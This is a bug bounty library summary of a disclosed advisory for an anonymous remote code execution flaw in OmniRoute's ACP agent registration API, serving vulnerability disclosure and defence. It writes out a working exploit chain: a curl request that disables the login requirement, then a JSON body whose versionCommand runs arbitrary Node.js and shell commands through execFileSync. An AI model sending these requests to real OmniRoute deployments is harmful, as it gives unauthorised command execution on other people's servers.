# OmniRoute ACP Custom-Agent Remote Code Execution (RCE)

OmniRoute's POST /api/acp/agents accepts attacker-controlled binary and versionCommand, then execFileSync's them, giving anonymous RCE when requireLogin=false.

- Payout: Research
- Severity: critical
- Program: OmniRoute
- Found by: c111mb3r
- Disclosed: 2026-09-10
- CVE: CVE-2026-88062
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hf57-cqmx-p4gr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hf57-cqmx-p4gr
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:critical tech:nextjs tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Next.js API route /api/acp/agents in OmniRoute container
**Root cause:** The versionCommand validation only checks that its first token matches the equally attacker-controlled binary field, so `node -e "..."` passes; the saved agent is then probed via execFileSync with no executable allowlist.
**Steps:**
1. Start OmniRoute container (image diegosouzapw/omniroute:latest, port 20128) with Redis.
2. Set login-disabled state: `curl -X POST http://localhost:20128/api/settings/require-login -H 'content-type: application/json' -d '{"requireLogin":false}'`.
3. Send unauthenticated `POST /api/acp/agents` with body `{"id":"anonrce","name":"anonrce","binary":"node","protocol":"stdio","versionCommand":"node -e \"require('fs').writeFileSync('/app/data/UNAUTH_RCE_PROOF.txt',require('child_process').execSync('id').toString()+require('child_process').execSync('uname -a').toString())\""}`.
4. Verify: `docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt` shows id/uname output.
**How found:** Code review of the ACP agent registration route: noticed binary and versionCommand are both user-controlled and the only guard is a self-consistency check comparing the first token to binary; traced refreshAgentCache into detectAgent's execFileSync sink, then checked authz policy and found /api/acp/ missing from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES, hitting the anonymous allow branch.
**Exploitation:** Single anonymous HTTP request: the route saves the custom agent, calls refreshAgentCache() -> detectInstalledAgents() -> detectAgent(), which runs execFileSync('node', ['-e', payload]) on Linux (shell=false), executing arbitrary Node.js and OS commands as the container user (uid=1000).
**Escalation:** Bootstrap window: on a fresh instance with no management password, /api/settings/require-login allows unauthenticated writes, so attacker first sets requireLogin=false then triggers RCE. With requireLogin=true and a password set, requires a management session or API key (authenticated RCE).
**Insight:** When a validator compares two attacker-supplied fields against each other (command vs binary), the check is vacuous; also audit subprocess-spawning routes against the LOCAL_ONLY/SPAWN_CAPABLE prefix lists — a missing prefix turns an auth-gated sink into an anonymous one.

## Proof of concept (copied exactly from the original report)

**Setting requireLogin=false via unauthenticated endpoint**

```
curl -s -X POST "http://localhost:20128/api/settings/require-login" \
  -H "content-type: application/json" \
  -d '{"requireLogin":false}'
```

**Docker setup for reproduction environment**

```
docker network create omniroute-poc-net
docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine
docker run -d --name omniroute-poc --network omniroute-poc-net \
  -p 20128:20128 -p 20129:20129 \
  -e JWT_SECRET="$JWT" \
  -e API_KEY_SECRET="$AKS" \
  -e REDIS_URL="redis://omniroute-poc-redis:6379" \
  diegosouzapw/omniroute:latest
```

